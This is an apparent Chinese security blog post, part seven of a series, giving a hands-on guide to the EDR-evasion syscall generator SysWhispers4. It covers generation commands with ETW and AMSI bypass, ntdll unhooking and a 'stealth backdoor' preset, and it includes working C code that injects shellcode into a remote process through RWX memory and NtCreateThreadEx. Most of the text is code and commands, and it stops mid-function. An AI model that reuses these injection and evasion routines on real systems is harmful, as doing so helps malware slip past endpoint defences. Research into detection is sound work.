edr绕过工具SysWhispers4源码分析系列(七)

admin 2026-03-18 23:08:28 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文档是SysWhispers4工具的完整使用指南,涵盖环境搭建、代码生成、编译配置等全流程操作。介绍了多种SSN解析方法和调用方式,包括FreshyCalls、Hell’sGate等,以及混淆、加密、ETW和AMSI绕过等规避技术。文档提供详细命令示例和VisualStudio集成方案,具有较强的实操价值,适用于红队渗透测试和EDR绕过研究。 综合评分: 82 文章分类: 安全工具,红队,免杀,二进制安全


cover_image

edr绕过工具 SysWhispers4 源码分析系列(七)

原创

haidragon haidragon

安全狗的自我修养

2026年3月13日 12:09 湖南

官网:http://securitytech.cc

七、SysWhispers4 完整使用指南

本文档提供 SysWhispers4 从环境搭建到实际应用的完整使用教程,包含详细的步骤说明、代码示例、编译配置和调试技巧。通过本文档,你将能够快速上手并在实际项目中使用 SysWhispers4。

1. 环境准备与安装

1.1 Python 环境要求

系统要求:

  • Windows 10/11(推荐 22H2 或更新版本)
  • Python 3.10 或更高版本
  • 管理员权限(某些功能需要)

检查 Python 版本:

1. python --version
2. # 应该显示:Python 3.10.x 或更高

如果版本过低,下载安装:

  1. 访问 https://www.python.org/downloads/
  2. 下载 Python 3.10+ 安装包
  3. 安装时勾选 “Add Python to PATH”

1.2 获取 SysWhispers4

方法 1:Git 克隆(推荐)

1. git clone https://github.com/CyberSecurityUP/SysWhispers4.git
2. cd SysWhispers4

方法 2:手动下载

1. # 1. 访问项目页面
2. https://github.com/CyberSecurityUP/SysWhispers4

4. # 2. 点击 "Code" → "Download ZIP"

6. # 3. 解压到本地
7. cd SysWhispers4-main

验证文件结构:

1. dir /s /b
2. # 应该看到:
3. # syswhispers.py          - 主脚本
4. # core\                   - 核心模块目录
5. # data\                   - 数据文件目录
6. # README.md               - 项目文档

1.3 编译器环境

MSVC (Visual Studio) – 推荐

安装 Visual Studio 2019/2022:

  1. 下载 Visual Studio Installer
  • 访问 https://visualstudio.microsoft.com/
  • 下载 Community Edition(免费)
  1. 安装时选择工作负载:
  • ✅ “使用 C++ 的桌面开发”
  • ✅ Windows 10/11 SDK
  • ✅ MSVC v142/v143 生成工具
  1. 验证安装:
1. cl
2. # 应该显示 Microsoft (R) C/C++ Optimizing Compiler

配置环境变量:

1. REM 进入 VS 开发者命令提示符
2. "C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\VsDevCmd.bat"

4. REM 或使用开始菜单:
5. # Visual Studio 2022 → Developer Command Prompt for VS 2022

MinGW-w64(可选)

安装 MinGW:

  1. 下载 MinGW-w64
  • 访问 https://www.mingw-w64.org/
  • 或使用 MSYS2: https://www.msys2.org/
  1. 添加 MinGW 到 PATH:
1. # 编辑系统环境变量
2. PATH=%PATH%;C:\msys64\mingw64\bin
  1. 验证安装:
1. g++--version
2. # 应该显示 g++ (MinGW-w64) x.x.x

1.4 更新 SSN 表(可选)

为什么要更新?

  • 获取最新 Windows 版本的 SSN
  • 支持新发布的 Windows 版本
  • 提高静态解析准确性

运行更新脚本:

1. cd SysWhispers4
2. python scripts\update_syscall_table.py

手动更新(如果脚本失败):

1. # 1. 访问 j00ru 仓库
2. https://github.com/j00ru/windows-syscalls

4. # 2. 下载最新的 syscall 表

6. # 3. 替换 data/syscalls_nt_x64.json

1.5 快速测试

运行帮助信息:

1. python syswhispers.py --help

预期输出:

1. usage: syswhispers.py [-h][-p PRESET][-f FUNCTIONS][-a ARCH][-c COMPILER]
2. [-m METHOD][-r RESOLVE][--obfuscate][--encrypt-ssn]
3. ...

5. SysWhispers4-- NT syscall stub generator with advanced EDR evasion

7. Function selection (at least one required):
8. -p,--preset          common | injection | evasion | token | stealth |...
9. -f,--functions       Comma-separated list of NT function names

11. Target:
12. -a,--arch            x64 (default)| x86 | wow64 | arm64
13. -c,--compiler        msvc (default)| mingw | clang

15. Techniques:
16. -m,--method          embedded (default)| indirect | randomized | egg
17. -r,--resolve         freshycalls (default)|static| hells_gate |...

19. Evasion/ obfuscation:
20. --obfuscate           Randomize stub ordering and inject junk instructions
21. --encrypt-ssn         XOR-encrypt SSN values at rest
22. ...

2. 生成指定 syscall 代码

2.1 使用预设(最简单)

预设列表:

| 预设名 | 函数数 | 用途 | | — | — | — | | common | 25 | 通用进程/线程/内存操作 | | injection | 20 | 进程注入(APC/线程/Section) | | evasion | 15 | AV/EDR 规避查询 | | token | 6 | Token 操作 | | stealth | 31 | 最大规避(injection + evasion) | | file_ops | 7 | 文件 I/O 操作 | | transaction | 7 | 事务回滚(Doppelgänging) | | all | 62 | 全部函数 |

示例 1:生成常见 syscall

1. python syswhispers.py --preset common

示例 2:生成注入相关 syscall

1. python syswhispers.py --preset injection

示例 3:组合多个预设

1. python syswhispers.py --preset common,injection

2.2 自定义函数列表

查看可用函数:

1. python syswhispers.py --list-functions

输出示例:

1. Available functions:
2. NtAdjustPrivilegesToken
3. NtAllocateVirtualMemory
4. NtAllocateVirtualMemoryEx
5. NtAlertResumeThread
6. NtCreateThreadEx
7. NtOpenProcess
8. NtWriteVirtualMemory
9. ...(共64个)

示例 1:单个函数

1. python syswhispers.py --functions NtAllocateVirtualMemory

示例 2:多个函数

1. python syswhispers.py --functions NtAllocateVirtualMemory,NtCreateThreadEx,NtWriteVirtualMemory

示例 3:预设 + 自定义

1. python syswhispers.py --preset common --functions NtQueryInformationProcess

2.3 选择技术选项

选择 SSN 解析方法

推荐选项:

1. # FreshyCalls(默认,Hook 免疫)
2. python syswhispers.py --preset common --resolve freshycalls

4. # Hell's Gate(快速,但怕 Hook)
5. python syswhispers.py --preset common --resolve hells_gate

7. # Halo's Gate(邻居扫描)
8. python syswhispers.py --preset common --resolve halos_gate

10. # Tartarus'Gate(增强版)
11. python syswhispers.py --preset common --resolve tartarus

13. # SyscallsFromDisk(最彻底)
14. python syswhispers.py --preset common --resolve from_disk

16. # RecycledGate(组合拳)
17. python syswhispers.py --preset common --resolve recycled

19. # HW Breakpoint(硬件断点)
20. python syswhispers.py --preset common --resolve hw_breakpoint

22. # Static(静态表,最快但不灵活)
23. python syswhispers.py --preset common --resolve static

选择调用方式

1. # Embedded(直接 syscall,默认)
2. python syswhispers.py --preset common --method embedded

4. # Indirect(间接跳转,RIP 在 ntdll)
5. python syswhispers.py --preset common --method indirect

7. # Randomized(随机 gadget,反追踪)
8. python syswhispers.py --preset common --method randomized

10. # Egg(无静态特征)
11. python syswhispers.py --preset common --method egg

2.4 启用规避技术

基础规避:

1. # 混淆(随机顺序 + 垃圾指令)
2. python syswhispers.py --preset common --obfuscate

4. # SSN 加密(XOR 加密静态 SSN)
5. python syswhispers.py --preset common --encrypt-ssn

7. # 栈伪造(合成调用栈)
8. python syswhispers.py --preset common --stack-spoof

高级规避:

1. # ETW 绕过
2. python syswhispers.py --preset common --etw-bypass

4. # AMSI 绕过
5. python syswhispers.py --preset common --amsi-bypass

7. # ntdll 解钩
8. python syswhispers.py --preset common --unhook-ntdll

10. # 反调试
11. python syswhispers.py --preset common --anti-debug

13. # 睡眠加密
14. python syswhispers.py --preset common --sleep-encrypt

最大规避模式:

1. python syswhispers.py --preset stealth \
2. --method randomized --resolve recycled \
3. --obfuscate --encrypt-ssn --stack-spoof \
4. --etw-bypass --amsi-bypass --unhook-ntdll \
5. --anti-debug --sleep-encrypt

2.5 架构和编译器选项

选择架构:

1. # x64(默认)
2. python syswhispers.py --preset common --arch x64

4. # x86(32 位)
5. python syswhispers.py --preset common --arch x86

7. # WoW64(32 位在 64 位系统)
8. python syswhispers.py --preset common --arch wow64

10. # ARM64(Windows on ARM)
11. python syswhispers.py --preset common --arch arm64

选择编译器:

1. # MSVC/MASM(默认)
2. python syswhispers.py --preset common --compiler msvc

4. # MinGW/GAS
5. python syswhispers.py --preset common --compiler mingw

7. # Clang/GAS
8. python syswhispers.py --preset common --compiler clang

2.6 自定义输出

修改前缀:

1. # 默认前缀:SW4_
2. python syswhispers.py --preset common --prefix SW4

4. # 自定义前缀:MY_
5. python syswhispers.py --preset common --prefix MY

7. # 无前缀
8. python syswhispers.py --preset common --prefix ""

修改输出文件名:

1. # 默认:SW4Syscalls.*
2. python syswhispers.py --preset common

4. # 自定义:MySyscalls.*
5. python syswhispers.py --preset common --out-file MySyscalls

修改输出目录:

1. # 当前目录(默认)
2. python syswhispers.py --preset common

4. # 指定目录
5. python syswhispers.py --preset common --out-dir output\my_project

2.7 完整生成示例

示例 1:标准注入工具

1. python syswhispers.py --preset injection \
2. --arch x64 --compiler msvc \
3. --method embedded --resolve freshycalls \
4. --prefix SW4 --out-file SW4Injection

生成文件:

  • SW4Injection_Types.h
  • SW4Injection.h
  • SW4Injection.c
  • SW4Injection.asm

示例 2:隐蔽后门

1. python syswhispers.py --preset stealth \
2. --method randomized --resolve recycled \
3. --obfuscate --encrypt-ssn \
4. --etw-bypass --amsi-bypass \
5. --prefix BEACON --out-file BeaconSyscalls

示例 3:研究测试

1. python syswhispers.py --functions NtQueryInformationProcess,NtQuerySystemInformation \
2. --resolve static --method embedded \
3. --out-dir research\process_info

3. 编译生成的代码

3.1 MSVC 编译方法

命令行编译

步骤 1:打开开发者命令提示符

1. 开始菜单→VisualStudio2022→
2. DeveloperCommandPromptfor VS 2022

步骤 2:编译 ASM 文件

1. ml64 /c /Fo SW4Syscalls_asm.obj SW4Syscalls.asm

参数说明:

  • ml64 – MASM x64 编译器
  • /c – 只编译不链接
  • /Fo – 指定输出文件名

步骤 3:编译 C 文件

1. cl /c /EHsc/Fo SW4Syscalls.obj SW4Syscalls.c

参数说明:

  • cl – MSVC C 编译器
  • /c – 只编译不链接
  • /EHsc – 启用 C++ 异常处理
  • /Fo – 指定输出文件名

步骤 4:编译用户代码

1. cl /c /EHsc/Fo main.obj main.cpp

步骤 5:链接所有目标文件

1. link main.obj SW4Syscalls.obj SW4Syscalls_asm.obj \
2. /OUT:program.exe

完整批处理脚本:

1. @echo off
2. REM build_msvc.bat

4. REM 设置 VS 环境
5. call "C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\VsDevCmd.bat"

7. REM 编译汇编
8. ml64 /c /Fo SW4Syscalls_asm.obj SW4Syscalls.asm
9. if errorlevel 1exit/b 1

11. REM 编译 C
12. cl /c /EHsc/Fo SW4Syscalls.obj SW4Syscalls.c
13. if errorlevel 1exit/b 1

15. REM 编译用户代码
16. cl /c /EHsc/Fo main.obj main.cpp
17. if errorlevel 1exit/b 1

19. REM 链接
20. link main.obj SW4Syscalls.obj SW4Syscalls_asm.obj /OUT:program.exe
21. if errorlevel 1exit/b 1

23. echo Build successful!
24. program.exe

Visual Studio 项目集成

步骤 1:创建新项目

1. File→New→Project→
2. Visual C++→WindowsDesktop→WindowsDesktopApplication

步骤 2:添加生成的文件

1. SolutionExplorer→右键项目→Add→ExistingItem...
2. 选择:SW4Syscalls_Types.h, SW4Syscalls.h, SW4Syscalls.c, SW4Syscalls.asm

步骤 3:配置项目属性

C/C++ 配置:

1. ProjectProperties→ConfigurationProperties→ C/C++
2. -General→AdditionalIncludeDirectories: $(ProjectDir)
3. -Language→CompileAs:Compileas C Code(/TC)

链接器配置:

1. ProjectProperties→ConfigurationProperties→Linker
2. -Input→AdditionalDependencies:添加.obj 文件

自定义生成步骤(用于 ASM):

1. ProjectProperties→ConfigurationProperties→BuildEvents→Pre-BuildEvent
2. CommandLine: ml64 /c /Fo"$(OutDir)SW4Syscalls_asm.obj""$(ProjectDir)SW4Syscalls.asm"

步骤 4:修改源代码

1. // main.cpp
2. #include"SW4Syscalls.h"

4. int main(){
5. // 初始化
6. if(!SW4_Initialize()){
7. printf("Initialization failed\n");
8. return1;
9. }

11. // 使用 syscall
12. // ...

14. return0;
15. }

3.2 MinGW 编译方法

命令行编译

步骤 1:打开 MSYS2/MinGW 终端

1. msys2_shell.cmd -mingw64

步骤 2:编译所有文件

1. # 编译 SysWhispers4 生成的 C 文件(含内联汇编)
2. g++-c -masm=intel -O2 SW4Syscalls.c -o SW4Syscalls.o

4. # 编译用户代码
5. g++-c -masm=intel -O2 main.cpp -o main.o

7. # 链接
8. g++ main.o SW4Syscalls.o -o program.exe -static

参数说明:

  • -masm=intel – 使用 Intel 语法内联汇编
  • -O2 – 优化级别 2
  • -static – 静态链接(避免依赖 DLL)

完整编译脚本:

1. #!/bin/bash
2. # build_mingw.sh

4. set-e

6. echo "Compiling SysWhispers4 code..."
7. g++-c -masm=intel -O2 SW4Syscalls.c -o SW4Syscalls.o

9. echo "Compiling user code..."
10. g++-c -masm=intel -O2 main.cpp -o main.o

12. echo "Linking..."
13. g++ main.o SW4Syscalls.o -o program.exe -static

15. echo "Build successful!"
16. ./program.exe

CMake 集成

CMakeLists.txt 示例:

1. cmake_minimum_required(VERSION 3.15)
2. project(MySyscallProject)

4. set(CMAKE_CXX_STANDARD 17)
5. set(CMAKE_CXX_STANDARD_REQUIRED ON)

7. # 添加 SysWhispers4 生成的文件
8. set(SW4_SOURCES
9. SW4Syscalls.c
10. SW4Syscalls_stubs.c
11. )

13. # 设置编译选项
14. set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -masm=intel")
15. set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -masm=intel")

17. # 创建可执行文件
18. add_executable(program.exe
19. main.cpp
20. ${SW4_SOURCES}
21. )

23. # 链接必要的库
24. target_link_libraries(program.exe
25. ntapi  # 如果需要 NT API
26. )

编译命令:

1. mkdir build
2. cd build
3. cmake -G "MinGW Makefiles"..
4. cmake --build .

3.3 Clang 编译方法

使用 Clang 编译:

1. # 编译
2. clang-cl /c /EHsc/Fo SW4Syscalls.obj SW4Syscalls.c
3. clang-cl /c /EHsc/Fo main.obj main.cpp

5. # 链接(使用 lld-link)
6. lld-link main.obj SW4Syscalls.obj /OUT:program.exe

3.4 常见问题解决

问题 1:找不到头文件

错误信息:

1. fatal error C1083:Cannot open include file:'windows.h':No such file or directory

解决方案:

1. REM 确保安装了Windows SDK
2. REM 使用 VS DeveloperCommandPrompt
3. call "C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\VsDevCmd.bat"

问题 2:链接错误 – 重复符号

错误信息:

1. error LNK2005: _SW4_Initialize already definedin SW4Syscalls.obj

解决方案:

  • 检查是否重复添加了源文件
  • 确保头文件有 #pragmaonce 保护
  • 清理并重新编译
1. del*.obj *.exe
2. build_msvc.bat

问题 3:MASM 语法错误

错误信息:

1. error A2070: invalid instruction operands

解决方案:

  • 确保使用 ml64 而不是 ml(32 位)
  • 检查 ASM 文件编码(应该是 UTF-8 或 ANSI)
  • 重新生成 SysWhispers4 代码

问题 4:MinGW 内联汇编错误

错误信息:

1. error: unexpected token in argument list

解决方案:

  • 添加 -masm=intel 标志
  • 确保使用 GNU AS 语法
  • 检查 SysWhispers4 生成时选择了 --compiler mingw

4. 在 C/C++ 项目中调用 syscall

4.1 基本调用模式

标准调用流程:

1. #include<windows.h>
2. #include<stdio.h>
3. #include"SW4Syscalls.h"

5. int&nbsp;main(){
6. // 步骤 1: 初始化(必须!)
7. if(!SW4_Initialize()){
8. printf("[!] Initialization failed\n");
9. return1;
10. }
11. printf("[*] SysWhispers4 initialized\n");

13. // 步骤 2: 调用 syscall
14. NTSTATUS status;

16. // 示例:查询进程信息
17. PROCESS_BASIC_INFORMATION pbi&nbsp;={0};
18. ULONG returnLength&nbsp;=0;

20. status&nbsp;=&nbsp;SW4_NtQueryInformationProcess(
21. GetCurrentProcess(),
22. ProcessBasicInformation,
23. &pbi,
24. sizeof(pbi),
25. &returnLength
26. );

28. // 步骤 3: 检查返回值
29. if(NT_SUCCESS(status)){
30. printf("[*] NtQueryInformationProcess succeeded\n");
31. printf(" &nbsp; &nbsp;PebBaseAddress: %p\n",&nbsp;pbi.PebBaseAddress);
32. }else{
33. printf("[!] NtQueryInformationProcess failed: 0x%08X\n",&nbsp;status);
34. }

36. return0;
37. }

4.2 内存操作示例

分配可执行内存:

1. #include"SW4Syscalls.h"

3. BOOL&nbsp;InjectShellcode(HANDLE hProcess,&nbsp;LPCVOID shellcode,&nbsp;SIZE_T size){
4. PVOID remoteBase&nbsp;=&nbsp;NULL;
5. SIZE_T regionSize&nbsp;=&nbsp;size;

7. // 1. 分配内存
8. NTSTATUS status&nbsp;=&nbsp;SW4_NtAllocateVirtualMemory(
9. hProcess,
10. &remoteBase,
11. 0,
12. &regionSize,
13. MEM_COMMIT&nbsp;|&nbsp;MEM_RESERVE,
14. PAGE_EXECUTE_READWRITE
15. );

17. if(!NT_SUCCESS(status)){
18. printf("[!] NtAllocateVirtualMemory failed: 0x%08X\n",&nbsp;status);
19. return&nbsp;FALSE;
20. }

22. printf("[+] Allocated memory at %p\n",&nbsp;remoteBase);

24. // 2. 写入 shellcode
25. status&nbsp;=&nbsp;SW4_NtWriteVirtualMemory(
26. hProcess,
27. remoteBase,
28. (PVOID)shellcode,
29. size,
30. NULL
31. );

33. if(!NT_SUCCESS(status)){
34. printf("[!] NtWriteVirtualMemory failed: 0x%08X\n",&nbsp;status);
35. return&nbsp;FALSE;
36. }

38. printf("[+] Shellcode written\n");

40. // 3. (可选)修改保护
41. ULONG oldProtect;
42. status&nbsp;=&nbsp;SW4_NtProtectVirtualMemory(
43. hProcess,
44. &remoteBase,
45. &regionSize,
46. PAGE_EXECUTE_READ,
47. &oldProtect
48. );

50. return&nbsp;TRUE;
51. }

4.3 进程注入示例

完整注入流程:

1. #include<windows.h>
2. #include<stdio.h>
3. #include"SW4Syscalls.h"
4. // Shellcode 示例(弹出计算器)
5. unsignedchar&nbsp;calc_shellcode[]=
6. "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
7. "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
8. // ... (省略,实际使用时替换为真实 shellcode)
9. ;
10. BOOL&nbsp;InjectToProcess(DWORD targetPid){
11. HANDLE hProcess&nbsp;=&nbsp;NULL;
12. HANDLE hThread&nbsp;=&nbsp;NULL;
13. CLIENT_ID clientId&nbsp;={0};
14. OBJECT_ATTRIBUTES oa&nbsp;={0};
15. // 1. 打开目标进程
16. InitializeObjectAttributes(&oa,&nbsp;NULL,0,&nbsp;NULL,&nbsp;NULL);
17. clientId.UniqueProcess=(HANDLE)(ULONG_PTR)targetPid;
18. NTSTATUS status&nbsp;=&nbsp;SW4_NtOpenProcess(
19. &hProcess,
20. PROCESS_ALL_ACCESS,
21. &oa,
22. &clientId
23. );
24. if(!NT_SUCCESS(status)){
25. printf("[!] NtOpenProcess failed: 0x%08X\n",&nbsp;status);
26. return&nbsp;FALSE;
27. }
28. printf("[+] Opened process %d\n",&nbsp;targetPid);
29. // 2. 分配内存
30. PVOID baseAddress&nbsp;=&nbsp;NULL;
31. SIZE_T size&nbsp;=sizeof(calc_shellcode);
32. status&nbsp;=&nbsp;SW4_NtAllocateVirtualMemory(
33. hProcess,
34. &baseAddress,
35. 0,
36. &size,
37. MEM_COMMIT&nbsp;|&nbsp;MEM_RESERVE,
38. PAGE_EXECUTE_READWRITE
39. );
40. if(!NT_SUCCESS(status)){
41. printf("[!] NtAllocateVirtualMemory failed: 0x%08X\n",&nbsp;status);
42. SW4_NtClose(hProcess);
43. return&nbsp;FALSE;
44. }
45. printf("[+] Allocated memory at %p\n",&nbsp;baseAddress);
46. // 3. 写入 shellcode
47. status&nbsp;=&nbsp;SW4_NtWriteVirtualMemory(
48. hProcess,
49. baseAddress,
50. calc_shellcode,
51. sizeof(calc_shellcode),
52. NULL
53. );
54. if(!NT_SUCCESS(status)){
55. printf("[!] NtWriteVirtualMemory failed: 0x%08X\n",&nbsp;status);
56. SW4_NtClose(hProcess);
57. return&nbsp;FALSE;
58. }
59. printf("[+] Shellcode written\n");
60. // 4. 创建远程线程
61. status&nbsp;=&nbsp;SW4_NtCreateThreadEx(
62. &hThread,
63. THREAD_ALL_ACCESS,
64. NULL,
65. hProcess,
66. baseAddress,
67. NULL,
68. FALSE,
69. 0,
70. 0,
71. 0,
72. NULL
73. );
74. if(!NT_SUCCESS(status)){
75. printf("[!] NtCreateThreadEx failed: 0x%08X\n",&nbsp;status);
76. SW4_NtClose(hProcess);
77. return&nbsp;FALSE;
78. }
79. printf("[+] Remote thread created\n");
80. // 5. 等待线程结束(可选)
81. SW4_NtWaitForSingleObject(hThread,&nbsp;FALSE,&nbsp;NULL);
82. // 6. 清理句柄
83. SW4_NtClose(hThread);
84. SW4_NtClose(hProcess);
85. return&nbsp;TRUE;
86. }
87. int&nbsp;main(){
88. // 初始化
89. if(!SW4_Initialize()){
90. printf("[!] Init failed\n");
91. return1;
92. }
93. // 注入到记事本(PID 需要替换)
94. if(InjectToProcess(1234)){
95. printf("[+] Injection successful!\n");
96. }else{
97. printf("[-] Injection failed\n");
98. }
99. return0;
100. }

4.4 信息查询示例

查询进程详细信息:

1. #include<windows.h>
2. #include<stdio.h>
3. #include"SW4Syscalls.h"

5. voidQueryProcessInfo(HANDLE hProcess){
6. NTSTATUS status;

8. // 查询基本信息
9. PROCESS_BASIC_INFORMATION pbi&nbsp;={0};
10. status&nbsp;=&nbsp;SW4_NtQueryInformationProcess(
11. hProcess,
12. ProcessBasicInformation,
13. &pbi,
14. sizeof(pbi),
15. NULL
16. );

18. if(NT_SUCCESS(status)){
19. printf("PEB Address: %p\n",&nbsp;pbi.PebBaseAddress);
20. printf("Unique Process ID: %lu\n",(ULONG)(ULONG_PTR)pbi.UniqueProcessId);
21. }

23. // 查询映像文件名
24. WCHAR imageName[MAX_PATH]={0};
25. status&nbsp;=&nbsp;SW4_NtQueryInformationProcess(
26. hProcess,
27. ProcessImageFileName,
28. imageName,
29. sizeof(imageName),
30. NULL
31. );

33. if(NT_SUCCESS(status)){
34. printf("Image Name: %S\n",&nbsp;imageName);
35. }

37. // 查询命令行
38. UNICODE_STRING cmdLine&nbsp;={0};
39. status&nbsp;=&nbsp;SW4_NtQueryInformationProcess(
40. hProcess,
41. ProcessCommandLineInformation,
42. &cmdLine,
43. sizeof(cmdLine),
44. NULL
45. );

47. if(NT_SUCCESS(status)){
48. printf("Command Line: %.*S\n",&nbsp;cmdLine.Length/2,&nbsp;cmdLine.Buffer);
49. }
50. }

52. int&nbsp;main(){
53. if(!SW4_Initialize())
54. return1;

56. // 查询自身进程
57. QueryProcessInfo(GetCurrentProcess());

59. return0;
60. }

4.5 高级用法技巧

技巧 1:条件编译

1. #ifdef&nbsp;USE_DIRECT_SYSCALL
2. #include"SW4Syscalls.h"
3. #defineNtAllocateVirtualMemory&nbsp;SW4_NtAllocateVirtualMemory
4. #defineNtWriteVirtualMemory&nbsp;SW4_NtWriteVirtualMemory
5. #else
6. // 使用 Win32 API
7. #defineNtAllocateVirtualMemoryVirtualAlloc
8. #defineNtWriteVirtualMemoryWriteProcessMemory
9. #endif

11. voidMyFunction(){
12. // 代码相同,根据宏选择实现
13. NtAllocateVirtualMemory(...);
14. }

技巧 2:封装为类

1. classSyscallWrapper{
2. public:
3. boolInitialize(){
4. return&nbsp;SW4_Initialize()==&nbsp;TRUE;
5. }

7. PVOID&nbsp;AllocateMemory(HANDLE hProcess,&nbsp;SIZE_T size){
8. PVOID base&nbsp;=&nbsp;NULL;
9. NTSTATUS status&nbsp;=&nbsp;SW4_NtAllocateVirtualMemory(
10. hProcess,&base,0,&size,
11. MEM_COMMIT,&nbsp;PAGE_EXECUTE_READWRITE
12. );
13. return&nbsp;NT_SUCCESS(status)?&nbsp;base&nbsp;:nullptr;
14. }

16. boolWriteMemory(HANDLE hProcess,&nbsp;PVOID address,&nbsp;LPCVOID data,&nbsp;SIZE_T size){
17. return&nbsp;NT_SUCCESS(SW4_NtWriteVirtualMemory(
18. hProcess,&nbsp;address,(PVOID)data,&nbsp;size,&nbsp;NULL
19. ));
20. }
21. };

23. // 使用
24. SyscallWrapper&nbsp;sw;
25. sw.Initialize();
26. PVOID mem&nbsp;=&nbsp;sw.AllocateMemory(GetCurrentProcess(),0x1000);

技巧 3:错误处理宏

1. #define&nbsp;CHECK_NT_STATUS(status,&nbsp;msg)&nbsp;\
2. if(!NT_SUCCESS(status)){&nbsp;\
3. printf("[!] %s failed: 0x%08X\n",&nbsp;msg,&nbsp;status);&nbsp;\
4. goto&nbsp;cleanup;&nbsp;\
5. }

7. voidSafeOperation(){
8. NTSTATUS status;

10. status&nbsp;=&nbsp;SW4_NtAllocateVirtualMemory(...);
11. CHECK_NT_STATUS(status,"NtAllocateVirtualMemory");

13. status&nbsp;=&nbsp;SW4_NtWriteVirtualMemory(...);
14. CHECK_NT_STATUS(status,"NtWriteVirtualMemory");

16. // ...

18. cleanup:
19. // 清理资源
20. }

5. 调试与验证 syscall 调用

5.1 基础调试方法

使用 printf 调试

1. #include<stdio.h>
2. #include"SW4Syscalls.h"

4. voidDebugTest(){
5. printf("[*] Starting test...\n");

7. if(!SW4_Initialize()){
8. printf("[!] SW4_Initialize failed\n");
9. return;
10. }
11. printf("[+] SW4_Initialize succeeded\n");

13. PVOID base&nbsp;=&nbsp;NULL;
14. SIZE_T size&nbsp;=0x1000;

16. NTSTATUS status&nbsp;=&nbsp;SW4_NtAllocateVirtualMemory(
17. GetCurrentProcess(),
18. &base,
19. 0,
20. &size,
21. MEM_COMMIT,
22. PAGE_READWRITE
23. );

25. printf("[*] NtAllocateVirtualMemory returned: 0x%08X\n",&nbsp;status);
26. printf("[*] Base address: %p\n",&nbsp;base);

28. if(NT_SUCCESS(status)){
29. printf("[+] Memory allocated successfully\n");
30. }else{
31. printf("[-] Memory allocation failed\n");
32. }
33. }

使用 OutputDebugString

1. #include<windows.h>

3. #define&nbsp;DEBUG_PRINT(fmt,...)do{&nbsp;\
4. char&nbsp;msg[512];&nbsp;\
5. snprintf(msg,sizeof(msg),&nbsp;fmt,##__VA_ARGS__); \
6. OutputDebugStringA(msg);&nbsp;\
7. }while(0)

9. voidTestWithDebugString(){
10. DEBUG_PRINT("[*] Test started\n");

12. if(!SW4_Initialize()){
13. DEBUG_PRINT("[!] Init failed\n");
14. return;
15. }

17. DEBUG_PRINT("[+] Init succeeded\n");
18. }

5.2 WinDbg 调试

附加到进程

1. 0:000>!process&nbsp;00&nbsp;program.exe
2. PROCESS ffff8a0012345080
3. SessionId:1Cid:1234Peb:0000000012345000
4. Image:&nbsp;program.exe

6. 0:000>.process&nbsp;/r&nbsp;/p ffff8a0012345080
7. Implicit&nbsp;process&nbsp;is&nbsp;now ffff8a0012345080

设置断点

1. 0:000>&nbsp;bp program!main
2. 0:000>&nbsp;bp program!SW4_Initialize
3. 0:000>&nbsp;bp program!SW4_NtAllocateVirtualMemory

查看调用栈

1. 0:000>&nbsp;k
2. # Child-SP &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;RetAddr
3. 00000000e1`23456780 00007ff7`12345678&nbsp;program!SW4_NtAllocateVirtualMemory
4. 01000000e1`23456788 00007ff7`12345680&nbsp;program!main
5. 02000000e1`23456790 00007ff8`56789abc&nbsp;kernel32!BaseThreadInitThunk
6. 03000000e1`23456798 00007ff8`6789abcd&nbsp;ntdll!RtlUserThreadStart

查看寄存器

1. 0:000>&nbsp;r
2. rax=0000000000000000&nbsp;rbx=0000000000000000
3. rcx=00000000000004bc&nbsp;rdx=001234567890abcd
4. r8=0000000000000000&nbsp; r9=001234567890dcba
5. rip=00007ff7`12345678 program!SW4_NtAllocateVirtualMemory

7. 0:000> r eax
8. eax=00000018 &nbsp;; SSN = 24

单步执行

1. 0:000>&nbsp;t &nbsp;;Trace(step&nbsp;into)
2. 0:000>&nbsp;p &nbsp;;Proceed(step over)
3. 0:000>&nbsp;g &nbsp;;Go(continue&nbsp;execution)

查看内存

1. 0:000>&nbsp;dq&nbsp;@rsp&nbsp;L8 &nbsp; &nbsp; &nbsp;;查看栈上8个&nbsp;QWORD
2. 0:000>&nbsp;db&nbsp;@rcx&nbsp;L100 &nbsp; &nbsp;;查看&nbsp;RCX&nbsp;指向的100字节
3. 0:000>&nbsp;dps&nbsp;@r10&nbsp;L10 &nbsp; &nbsp;;查看&nbsp;R10&nbsp;指向的指针

查看反汇编

1. 0:000>&nbsp;u program!SW4_NtAllocateVirtualMemory L15
2. program!SW4_NtAllocateVirtualMemory:
3. 00007ff7`12345678 4c8bd9 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; r10,rcx
4. 00007ff7`1234567b&nbsp;b818000000 &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; eax,18h
5. 00007ff7`12345680 0f05 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;syscall
6. 00007ff7`12345682&nbsp;c3 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ret

5.3 验证 syscall 执行

方法 1:使用 Process Monitor

  1. 下载 Process Monitor (ProcMon)
  2. 运行 ProcMon,设置过滤器:
  • Process Name → is → program.exe → Add
  1. 运行程序,观察 syscall 活动
  2. 应该看到大量 Native API 调用

方法 2:使用 API Monitor

  1. 下载 API Monitor (rohitab.com)
  2. 选择要监控的 API:
  • Native API → Process Functions
  • Native API → Memory Functions
  1. 启动程序,监控 API 调用
  2. 验证没有 Win32 API 调用(只有 Native API)

方法 3:使用 ETW 分析

1. # 启用 syscall ETW 提供者
2. logman create trace sysmon&nbsp;-o sysmon.etl&nbsp;-p&nbsp;"Microsoft-Windows-Sysmon"0xffffffff0xff-ets

4. # 运行程序
5. .\program.exe

7. # 停止跟踪
8. logman stop sysmon

10. # 转换为 XML
11. tracerpt sysmon.etl&nbsp;-o sysmon.xml

13. # 分析 XML 中的 syscall 事件

5.4 性能分析

测量 syscall 耗时

1. #include<chrono>
2. #include<stdio.h>

4. doubleMeasureSyscall(DWORD iterations){
